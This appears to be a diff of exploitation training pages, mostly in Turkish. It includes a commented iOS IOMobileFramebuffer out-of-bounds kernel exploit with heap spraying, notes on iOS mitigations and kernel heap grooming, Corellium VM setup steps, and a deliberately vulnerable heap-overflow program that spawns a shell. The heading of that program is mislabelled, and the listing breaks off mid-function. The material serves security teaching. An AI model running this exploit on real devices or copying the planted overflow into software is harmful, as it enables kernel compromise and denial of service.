// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
## Arbitrary Read PoC Explained
1. **Opening the right user client**
- `get_appleclcd_uc()` finds the **AppleCLCD** service and opens **user client type 2**. AppleCLCD and IOMobileFramebuffer share the same external-methods table; type 2 exposes **selector 83**, the vulnerable method. **This is your entry to the bug.** E_POC/)
**Neden 83 önemli:** decompile edilmiş yol:
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\
→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\
Son çağrının içinde, kod **32-bit scalar'ınızı bounds kontrolü olmadan dizi indeksi olarak kullanıyor**, **`this + 0xA58 + index*8`** adresinden bir pointer alıyor ve bunu `IOSurface*` olarak `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` fonksiyonuna geçiriyor. **İşte OOB + type confusion.**
2. **The heap spray (why IOSurface shows up here)**
- `do_spray()` **`IOSurfaceRootUserClient`** kullanarak **birçok IOSurface oluşturur** ve küçük değerleri (`s_set_value` tarzı) **spray** eder. Bu, kernel heap'lerini **geçerli IOSurface nesnelerine işaret eden pointerlarla** doldurur.
- **Amaç:** selector 83 meşru tablonun dışını okuduğunda, **OOB slot muhtemelen sizin (gerçek) IOSurface'lerinizden birine işaret eden bir pointer içerir**—böylece sonraki dereference **çakmaz** ve **başarılı olur**. IOSurface, klasik ve iyi belgelenmiş bir kernel spray primitifi olup, Saar'ın yazısında bu exploitation akışı için kullanılan **create / set_value / lookup** metodları açıkça listelenmiştir.
3. **The "offset/8" trick (what that index really is)**
- `trigger_oob(offset)` içinde `scalars[0] = offset / 8` ayarlıyorsunuz.
- **Neden 8'e bölünüyor?** Kernel hangi **pointer-sized slot**'un okunacağını hesaplamak için **`base + index*8`** yapıyor. Siz bir **"slot numarası N"** seçiyorsunuz, byte offset değil. 64-bit'te her slot **sekiz byte**.
- Hesaplanan adres **`this + 0xA58 + index*8`** oluyor. PoC, çok büyük bir sabit (`0x1200000 + 0x1048`) kullanarak **çok dışa** adım atıp, IOSurface pointer'larıyla **yoğun şekilde doldurmaya çalıştığınız** bir bölgeye erişmeye çalışıyor. **Eğer spray "kazanan" olursa, vurduğunuz slot geçerli bir `IOSurface*` olur.**
4. **What selector 83 returns (this is the subtle part)**
- Çağrı:
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o
- İçeride, OOB pointer alımından sonra sürücü\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`** çağrısını yapıyor.
- **Sonuç:** **`output_scalars[0]`**, OOB ile sağladığınız nesne pointer'ı için task'ınızdaki bir **Mach port name (u32 handle)** olur. **Bu ham bir kernel address leak değildir; userspace'te bir handle'dır (send right).** Saar'ın decompilation'ı bu davranışı (bir *port name* kopyalamayı) açıkça gösteriyor.
**Neden bu işe yarar:** (sözde) IOSurface'a ait bir **port name** ile artık şu tür **IOSurfaceRoot** metodlarını kullanabilirsiniz:
- **`s_lookup_surface_from_port` (method 34)** → portu, IOSurface çağrılarıyla işletebileceğiniz bir **surface ID**'ye çevirir, ve
- **`s_create_port_from_surface` (method 35)** tersini yapmanız gerekirse.\
Saar tam da bu metodları bir sonraki adım olarak belirtiyor. **PoC, bir OOB slot'tan "meşru" bir IOSurface handle'ı "ürettiğinizi" kanıtlıyor.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps:
```c
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)
// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);
// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}
// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;
// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐
// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;
io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}
// Call external method 83. Internally:
// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch
// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);
if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n", mach_error_string(ret));
return 0;
}
// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}
// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.
// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}
// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc. ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc); // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}
// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200, // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}
int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}
printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");
// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}
```
## Referanslar
- [Saar Amar tarafından yazılan orijinal yazı](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/)
- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC)
- [jsherman212 tarafından yapılan araştırma](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com)
{{#include ../../banners/hacktricks-training.md}}

258
src/binary-exploitation/ios-exploiting/README.md Normal file
View File

@ -0,0 +1,258 @@
# iOS Exploiting
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash.
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
The kernel used a **zone allocator** (`kalloc`) divided into fixed-size "zones."
Each zone only stores allocations of a single size class.
From the screenshot:
| Zone Name | Element Size | Example Use |
|----------------------|--------------|-----------------------------------------------------------------------------|
| `default.kalloc.16` | 16 bytes | Very small kernel structs, pointers. |
| `default.kalloc.32` | 32 bytes | Small structs, object headers. |
| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. |
| `default.kalloc.128` | 128 bytes | Medium objects like parts of `OSObject`. |
| `default.kalloc.256` | 256 bytes | Larger IPC messages, arrays, device structures. |
| … | … | … |
| `default.kalloc.1280`| 1280 bytes | Large structures, IOSurface/graphics metadata. |
**How it worked:**
- Each allocation request gets **rounded up** to the nearest zone size.
(E.g., a 50-byte request lands in the `kalloc.64` zone).
- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone.
- If you overflowed a 64-byte buffer, you’d overwrite the **next object in the same zone**.
This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class.
### The freelist
Inside each kalloc zone, freed objects weren’t returned directly to the system — they went into a freelist, a linked list of available chunks.
- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone.
- The zone kept a HEAD pointer to the first free chunk.
- Allocation always used the current HEAD:
1. Pop HEAD (return that memory to the caller).
2. Update HEAD = HEAD->next (stored in the freed chunk’s header).
- Freeing pushed chunks back:
- `freed_chunk->next = HEAD`
- `HEAD = freed_chunk`
So the freelist was just a linked list built inside the freed memory itself.
Normal state:
```
Zone page (64-byte chunks for example):
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
Freelist view:
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
(next ptrs stored at start of freed chunks)
```
### Exploiting the freelist
Çünkü bir free chunk'ın ilk 8 baytı = freelist pointer olduğundan, bir saldırgan bunu bozabilir:
1. **Heap overflow** ile bitişik freed chunk'a taşma → onun “next” pointer'ını üzerine yazma.
2. **Use-after-free** ile freed object içine yazma → onun “next” pointer'ını üzerine yazma.
Then, on the next allocation of that size:
- Allocator bozuk chunk'ı poplar.
- Saldırgan tarafından sağlanan “next” pointer'ı takip eder.
- Rastgele belleğe bir pointer döndürür, fake object primitives veya hedefli overwrite'e izin verir.
Visual example of freelist poisoning:
```
Before corruption:
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
After attacker overwrite of F1->next:
HEAD ──► [ F1 ]
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
```
This freelist tasarımı, hardening öncesinde exploitleri çok etkili hale getiriyordu: heap sprays'ten gelen tahmin edilebilir komşular, raw pointer freelist bağlantıları ve tür ayrımının olmaması, saldırganların UAF/overflow hatalarını rastgele kernel belleği kontrolüne yükseltmesine izin veriyordu.
### Heap Grooming / Feng Shui
The goal of heap grooming is to **heap yerleşimini şekillendirmek** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\
Böylece bellek bozulması gerçekleştiğinde, saldırgan kurban objeyi kontrollü verilerle güvenilir şekilde ezebilir.
**Adımlar:**
1. Spray allocations (fill the holes)
- Zamanla kernel heap fragmentasyona uğrar: bazı zonlarda eski nesnelerin free edildiği boşluklar oluşur.
- Saldırgan ilk olarak bu boşlukları doldurmak için çok sayıda dummy allocation yapar, böylece heap “packed” ve daha öngörülebilir hale gelir.
2. Force new pages
- Boşluklar doldurulduktan sonra, bir sonraki allocation zone'a eklenen yeni sayfalardan gelmek zorunda kalır.
- Yeni sayfalar, nesnelerin eski parçalanmış bellek boyunca dağılmayıp bir arada kümeleşmesini sağlar.
- Bu, saldırganın komşular üzerinde çok daha iyi kontrol elde etmesini sağlar.
3. Place attacker objects
- Saldırgan şimdi tekrar spray yapar ve bu yeni sayfalarda çok sayıda attacker-controlled obje oluşturur.
- Bu objeler boyut ve yerleşim açısından öngörülebilirdir (çünkü hepsi aynı zone'a aittir).
4. Free a controlled object (make a gap)
- Saldırgan kasten kendi objelerinden birini free eder.
- Bu, allocator'ın daha sonra aynı boyuttaki bir sonraki allocation için yeniden kullanacağı heap'te bir “delik” oluşturur.
5. Victim object lands in the hole
- Saldırgan, kernel'in hedef (victim) objeyi allocate etmesini tetikler.
- Delik freelist'teki ilk uygun slot olduğundan, victim tam olarak saldırganın free ettiği yerde konumlanır.
6. Overflow / UAF into victim
- Artık saldırganın kontrollü objeleri victim çevresindedir.
- Kendi objelerinden birinden overflow yaparak (veya freed objeyi tekrar kullanarak) victim’in bellek alanlarını seçilen değerlerle güvenilir şekilde overwrite edebilir.
**Neden çalışır**:
- Zone allocator predictability: aynı boyuttaki allocationlar her zaman aynı zon'dan gelir.
- Freelist behavior: yeni allocationlar en son free edilmiş chunk'ı önce yeniden kullanır.
- Heap sprays: saldırgan bellek içeriklerini öngörülebilir şekilde doldurur ve yerleşimi kontrol eder.
- Sonuç: saldırgan victim objenin nereye yerleşeceğini ve yanında hangi verilerin olacağını kontrol eder.
---
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
Apple allocator'ı sertleştirdi ve **heap grooming'i çok daha zorlaştırdı**:
### 1. From Classic kalloc to kalloc_type
- **Before**: her boyut sınıfı için (16, 32, 64, … 1280, vb.) tek bir `kalloc.<size>` zone vardı. O boyuttaki herhangi bir obje oraya yerleştirilirdi → saldırgan objeleri ayrıcalıklı kernel objelerinin yanına yerleşebilirdi.
- **Now**:
- Kernel objeleri **typed zones** (`kalloc_type`) üzerinden allocate ediliyor.
- Her obje tipi (ör. `ipc_port_t`, `task_t`, `OSString`, `OSData`) kendi adanmış zone'una sahip; aynı boyutta olsalar bile ayrılıyorlar.
- Obje tipi ↔ zone eşlemesi derleme zamanında **kalloc_type system** tarafından üretilir.
Artık saldırgan kontrollü verinin (`OSData`) aynı boyuttaki hassas kernel objelerinin (`task_t`) yanında olacağını garanti edemez.
### 2. Slabs and Per-CPU Caches
- Heap, her zone için sabit boyutlu chunk'lara ayrılmış bellek sayfaları olan **slab**'lara bölünmüştür.
- Her zone'un contenstion'u azaltmak için bir **per-CPU cache**'i vardır.
- Allocation yolu:
1. Per-CPU cache denenir.
2. Boşsa, global freelist'ten çekilir.
3. Freelist boşsa, yeni bir slab (bir veya daha fazla sayfa) allocate edilir.
- **Fayda**: Bu desantralizasyon, allocationların farklı CPU cache'lerinden karşılanabilmesi nedeniyle heap sprays'i daha az deterministik yapar.
### 3. Randomization inside zones
- Bir zone içinde, free edilmiş elemanlar basit FIFO/LIFO sırasıyla geri verilmez.
- Modern XNU **encoded freelist pointers** (Linux tarzı safe-linking gibi, ~iOS 14'te tanıtıldı) kullanır.
- Her freelist pointer, bir zone-a özgü gizli cookie ile **XOR-encoded** edilir.
- Bu, bir write primitive elde edilse bile saldırganların sahte bir freelist pointer üretmesini engeller.
- Bazı allocationlar slab içinde **yerleştirme açısından randomize edilir**, bu yüzden spraying komşuluk garanti etmez.
### 4. Guarded Allocations
- Bazı kritik kernel objeleri (ör. credentials, task yapıları) **guarded zones** içinde allocate edilir.
- Bu zonlar slab'lar arasında **guard pages** (unmapped memory) ekler veya objelerin etrafında **redzones** kullanır.
- Guard page'e yapılan herhangi bir overflow fault tetikler → sessiz corruption yerine anında panic oluşur.
### 5. Page Protection Layer (PPL) and SPTM
- Freed bir objeyi kontrol ediyor olsanız bile tüm kernel belleğini değiştiremezsiniz:
- **PPL (Page Protection Layer)**, belirli bölgelerin (ör. code signing verileri, entitlements) kernel'in kendisi için bile **sadece okunur** olmasını zorunlu kılar.
- **A15/M2+** cihazlarda bu rol **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)** ile yerini alır veya güçlendirilir.
- Bu donanım tarafından zorlanan katmanlar, saldırganların tek bir heap bozulmasından kritik güvenlik yapılarında keyfi patch yapmasına engel olur.
### 6. Large Allocations
- Her allocation `kalloc_type` üzerinden gitmez.
- Çok büyük istekler (~16KB üzeri) typed zone'lardan atlanır ve doğrudan **kernel VM (kmem)** üzerinden page allocation ile servis edilir.
- Bunlar daha az öngörülebilir, ancak slab paylaşmadıkları için aynı zamanda daha az exploitable olurlar.
### 7. Allocation Patterns Attackers Target
Bunlara rağmen saldırganlar hâlâ şunları hedefler:
- **Reference count objects**: retain/release sayacıyla oynayabilirseniz use-after-free oluşmasına sebep olabilirsiniz.
- **Objects with function pointers (vtables)**: bunları bozmak yine kontrol akışı sağlar.
- **Shared memory objects (IOSurface, Mach ports)**: user ↔ kernel köprüsü oluşturdukları için hâlâ hedeflenirler.
Ama — eskisi gibi — sadece `OSData` spray yapıp bir `task_t` ile komşu olmasını bekleyemezsiniz. Başarılı olmak için **type-specific bugs** veya **info leaks** gerekir.
### Example: Allocation Flow in Modern Heap
Varsayalım userspace IOKit üzerinden bir `OSData` objesi allocate ediyor:
1. **Type lookup** → `OSData` `kalloc_type_osdata` zone'una (boyut 64 byte) eşlenir.
2. Per-CPU cache'de boş eleman kontrol edilir.
- Bulunursa → bir tane return edilir.
- Boşsa → global freelist'e bakılır.
- Freelist boşsa → yeni bir slab allocate edilir (4KB page → 64 adet 64 byte chunk).
3. Chunk caller'a return edilir.
**Freelist pointer protection**:
- Her free edilmiş chunk, bir sonraki free chunk'ın adresini saklar, fakat bu adres gizli bir anahtarla encoded edilmiştir.
- Bu alanı saldırgan verisiyle overwrite etmek, anahtarı bilmeden işe yaramaz.
## Comparison Table
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
## (Old) Physical Use-After-Free via IOSurface
{{#ref}}
ios-physical-uaf-iosurface.md
{{#endref}}
---
## Ghidra Install BinDiff
BinDiff DMG'yi [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) adresinden indirip kurun.
Ghidra'yı `ghidraRun` ile açın ve `File` --> `Install Extensions`'a gidin, add düğmesine basın ve yolu `/Applications/BinDiff/Extra/Ghidra/BinExport` olarak seçin, ardından OK tuşuna basın ve versiyon uyuşmazlığı olsa bile install edin.
### Using BinDiff with Kernel versions
1. [https://ipsw.me/](https://ipsw.me/) sayfasına gidip diff'lemek istediğiniz iOS sürümlerini indirin. Bunlar `.ipsw` dosyaları olacaktır.
2. Her iki `.ipsw` dosyasının kernelcache'inin bin formatını elde edene kadar dekompresyon yapın. Bunu nasıl yapacağınıza dair bilgi için:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
{{#endref}}
3. `ghidraRun` ile Ghidra'yı açın, yeni bir proje oluşturun ve kernelcache'leri yükleyin.
4. Her kernelcache'i açın ki Ghidra otomatik analiz yapsın.
5. Ardından Project Window'da her kernelcache üzerine sağ tıklayın, `Export` seçin, format olarak `Binary BinExport (v2) for BinDiff` seçin ve export edin.
6. BinDiff'i açın, yeni bir workspace oluşturun ve primary file olarak vulnerability içeren kernelcache'i, secondary file olarak patched kernelcache'i göstererek yeni bir diff ekleyin.
---
## Finding the right XNU version
Belirli bir iOS sürümündeki zafiyetleri kontrol etmek istiyorsanız, o iOS sürümünün hangi XNU release versiyonunu kullandığını şu adresten kontrol edebilirsiniz: [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
Örneğin, `15.1 RC`, `15.1` ve `15.1.1` sürümleri `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006` versiyonunu kullanır.
{{#include ../../banners/hacktricks-training.md}}

79
src/binary-exploitation/ios-exploiting/ios-corellium.md Normal file
View File

@ -0,0 +1,79 @@
# iOS Corellium'e Nasıl Bağlanılır
{{#include ../../banners/hacktricks-training.md}}
## **Gereksinimler**
- Bir Corellium iOS VM (jailbroken veya değil).
- Lokal araçlar: **ssh/scp**.
- (İsteğe bağlı) parola gerektirmeyen girişler için Corellium projenize **SSH keys** eklenmiş olsun.
## **localhost üzerinden iPhone VM'ye bağlanma**
### A) **Quick Connect (no VPN)**
0) **`/admin/projects`** içine ssh key'inizi ekleyin (önerilir).
1) Cihaz sayfasını açın → **Connect**
2) Corellium tarafından gösterilen **Quick Connect SSH command**'ı kopyalayın ve terminalinize yapıştırın.
3) Parolayı girin veya key'inizi kullanın (önerilir).
### B) **VPN → doğrudan SSH**
0) **`/admin/projects`** içine ssh key'inizi ekleyin (önerilir).
1) Cihaz sayfası → **CONNECT** → **VPN** → `.ovpn` dosyasını indirip TAP modunu destekleyen herhangi bir VPN istemcisi ile bağlanın. (Sorun yaşarsanız [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) adresini kontrol edin.)
2) VM'nin **10.11.x.x** adresine SSH ile bağlanın:
```bash
ssh root@10.11.1.1
```
## **Yerel binary yükle & çalıştır**
### 2.1 **Yükleme**
- Eğer Quick Connect size bir host/port verdiyse:
```bash
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
```
- Eğer VPN kullanıyorsanız (10.11.x.x):
```bash
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
```
## **iOS uygulamasını (.ipa) yükleme ve kurma**
### Yol A — **Web UI (en hızlı)**
1) Cihaz sayfası → **Apps** sekmesi → **Install App** → `.ipa` dosyanızı seçin.
2) Aynı sekmeden **launch/kill/uninstall** yapabilirsiniz.
### Yol B — **Corellium Agent aracılığıyla betiklenmiş**
1) API Agent'ı kullanarak önce **upload**, sonra **install**:
```js
// Node.js (pseudo) using Corellium Agent
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
await agent.install("/var/tmp/app.ipa", (progress, status) => {
console.log(progress, status);
});
```
### Path C — **Jailbreaksiz (doğru imzalama / Sideloadly)**
- Eğer bir provisioning profile yoksa, Apple ID'nizle yeniden imzalamak için **Sideloadly** kullanın veya Xcode'da oturum açın.
- VM'i Xcode'a görünür kılmak için ayrıca **USBFlux** kullanabilirsiniz (bkz. §5).
- SSH olmadan hızlı loglar/komutlar için, UI'deki cihaz **Console**'u kullanın.
## **Ekstralar**
- **Port-forwarding** (VM'in diğer araçlar için yerel gibi hissetmesini sağlar):
```bash
# Forward local 2222 -> device 22
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
```
- **LLDB remote debugging**: cihaz sayfasının alt kısmında gösterilen **LLDB/GDB stub** adresini kullanın (CONNECT → LLDB).
- **USBFlux (macOS/Linux)**: VM'i **Xcode/Sideloadly**'e bir kablolu cihaz gibi sunun.
## **Yaygın tuzaklar**
- **Proper signing** is required on **non-jailbroken** devices; unsigned IPAs won’t launch.
- **Quick Connect vs VPN**: Quick Connect en basitidir; cihazı yerel ağınızda kullanmanız gerektiğinde (ör. yerel proxies/tools) **VPN** kullanın.
- **No App Store** on Corellium devices; kendi (re)signed IPAs'ınızı getirin.
{{#include ../../banners/hacktricks-training.md}}

205
src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md Normal file
View File

@ -0,0 +1,205 @@
# iOS Corellium'a Nasıl Bağlanılır
{{#include ../../banners/hacktricks-training.md}}
## Zafiyet Kodu
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}
__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}
typedef void (*cb_t)(void);
typedef struct {
cb_t cb; // <--- Your target: overwrite this with win()
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
} hook_t;
static void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);
// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);
// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);
// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}
puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);
// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
